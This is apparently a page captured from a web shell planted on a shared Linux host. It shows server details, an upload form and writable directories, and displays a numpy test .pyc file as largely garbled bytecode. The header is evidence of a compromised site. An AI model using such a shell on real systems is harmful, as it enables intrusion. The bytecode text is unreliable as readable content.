https://t.me/RX1948
Server : Apache
System : Linux iad1-shared-b8-43 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
User : dh_edsupp ( 6597262)
PHP Version : 8.2.26
Disable Function : NONE
Directory :  /lib/python3/dist-packages/numpy/lib/tests/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/numpy/lib/tests/__pycache__/test_utils.cpython-310.pyc
o

6��a��@s�ddlZddlZddlZddlmZddlmZmZmZddl	m
Z
mZddlm
mZddlmZejjejjdkdd�ejjejd	kd
d�dd���Ze
d
d��Ze
dd�dd��Zdd�Ze
eddd�Zdd�Ze
e�Zdd�Ze
edd�Zdd�Ze
e�Z edd�d d!��Z!d"d#�Z"d$d%�Z#d&d'�Z$d(d)�Z%ejjejjdkd*d�ej�&d+eefeefee fg�d,d-���Z'd.d/�Z(ejjejjdkd*d�d0d1��Z)d2d3�Z*Gd4d5�d5�Z+d6d7�Z,d8d9�Z-dS):�N)�arange)�assert_�assert_equal�assert_raises_regex)�	deprecate�deprecate_with_doc)�StringIO�zPython running -OO)�reason)��
r�	candidate�zBroken as of bpo-44524cCs0t�}tjdd|dd�|��}td|v�dS)N�
eigenvalue�numpyF)�module�output�import_modulesznumpy.linalg.eig)r�utils�lookfor�getvaluer)�out�r�</usr/lib/python3/dist-packages/numpy/lib/tests/test_utils.py�test_lookfor
s
�rcC�|S�Nr��self�xrrr�old_func�r �Rather use new_func2)�messagecCrrrrrrr�	old_func2r!r$cCrrrrrrr�	old_func3$�r%�	new_func3)�old_name�new_namecCr)z Summary.

    Further info.
    rrrrr�	old_func4)�r*cCr)z+Summary.

        Bizarre indentation.
    rrrrr�	old_func52r+r,zThis function is
deprecated.cCr)z
    Also in PEP-257.
    rrrrr�	old_func6;sr-�Rather use new_func7)�msgcCrrrrrrr�	old_func7Cr!r0cC�tdtjv�dS)N�
deprecated)rr �__doc__rrrr�test_deprecate_decoratorH�r4cCr1)Nr")rr$r3rrrr� test_deprecate_decorator_messageLr5r6cCs tdtjv�tdtjv�dS)Nr%r')rr'r3rrrr�test_deprecate_fnPsr7cCr1)Nr.)rr0r3rrrr�)test_deprecate_with_doc_decorator_messageUr5r8z-OO discards docstringszold_func, new_funccCs~t||�d|fd|ffD]/\}}t|j�d��D]"\}}|dkr0|�d�s/|�d�r/J|��q|r;|�d�s;J|��qq
dS)N�old�new�
rz    � )�
_compare_docs�	enumerater3�split�
startswith)r �new_func�knd�func�li�linerrr�test_deprecate_help_indentationYs
����rFcCs8t�|�}t�|�}|�d�d}t||d�|�dS)Nz

r	)�inspect�getdoc�indexr)r rA�old_doc�new_docrIrrrr=js

r=cCr1)Nz
        Bizarre)r�	new_func5r3rrrr�"test_deprecate_preserve_whitespaceqsrMcCst�d�dS)N�None)r�	safe_evalrrrr�test_safe_eval_nameconstantvsrPc@s,eZdZdd�Zdd�Zdd�Zdd�Zd	S)
�TestByteBoundscCs8td��dd�}t�|�\}}t|||j|j�dS�N�r�)r�reshaper�byte_boundsr�size�itemsize)r�a�low�highrrr�test_byte_bounds}szTestByteBounds.test_byte_boundscCs>td��dd�}|j}t�|�\}}t|||j|j�dSrR�rrU�TrrVrrWrX�rrY�brZr[rrr�"test_unusual_order_positive_stride�sz1TestByteBounds.test_unusual_order_positive_stridecCsHtd��dd�}|jddd�}t�|�\}}t|||j|j�dS)NrSrrT���r]r_rrr�"test_unusual_order_negative_stride�sz1TestByteBounds.test_unusual_order_negative_stridecCsHtd�}|ddd�}t�|�\}}t|||jd|j|j�dS)NrSr	)rrrVrrWrXr_rrr�test_strided�s$zTestByteBounds.test_stridedN)�__name__�
__module__�__qualname__r\rarcrdrrrrrQ{s
rQcCs(ttd��td��1s
wYdS)Nzno deprecation warning)r�
ValueErrorrrrr�(test_assert_raises_regex_context_manager�s�ricCs@Gdd�d�}Gdd�d�}dd�}||�sJ�||�rJ�dS)Nc@seZdZdS)z1test_info_method_heading.<locals>.NoPublicMethodsN)rerfrgrrrr�NoPublicMethods�srjc@seZdZdd�ZdS)z3test_info_method_heading.<locals>.WithPublicMethodscSsdSrrrrrr�first_method�r&z@test_info_method_heading.<locals>.WithPublicMethods.first_methodN)rerfrgrkrrrr�WithPublicMethods�srlcSs t�}tj||d�d|��vS)N)rzMethods:)rr�infor)�clsrrrr�_has_method_heading�sz5test_info_method_heading.<locals>._has_method_headingr)rjrlrorrr�test_info_method_heading�s
rp).rG�sys�pytest�
numpy.corer�
numpy.testingrrr�	numpy.librr�numpy.lib.utils�libr�ior�mark�skipif�flags�optimize�version_inforr r$r%r'r*�	new_func4r,rLr-�	new_func6r0r4r6r7r8�parametrizerFr=rMrPrQrirprrrr�<module>s\�


�


https://t.me/RX1948 - 2025